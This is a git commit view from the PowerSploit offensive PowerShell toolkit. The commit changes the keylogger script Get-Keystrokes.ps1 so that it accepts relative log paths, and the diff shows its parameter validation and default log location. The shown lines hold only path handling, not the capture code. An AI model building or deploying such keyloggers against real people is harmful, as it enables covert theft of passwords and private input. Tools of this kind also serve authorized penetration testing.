aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-08-17 16:56:11 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-08-17 16:56:11 -0400
commit05d335512a441437c301bd784bf02f78030caf2f (patch)
tree0d649908c1ef003657b1ee823f11a7de95ede261
parentd67e71bf2d87dfce4481eeeaffd871c4173f091c (diff)
downloadPowerSploit-05d335512a441437c301bd784bf02f78030caf2f.tar.gz
PowerSploit-05d335512a441437c301bd784bf02f78030caf2f.zip
Get-Keystrokes now accepts relative paths
-rw-r--r--Exfiltration/Get-Keystrokes.ps14
1 files changed, 3 insertions, 1 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 0698d9d..48b7df6 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -33,7 +33,7 @@
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
@@ -42,6 +42,8 @@
$CollectionInterval
)
+ $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
+
Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = {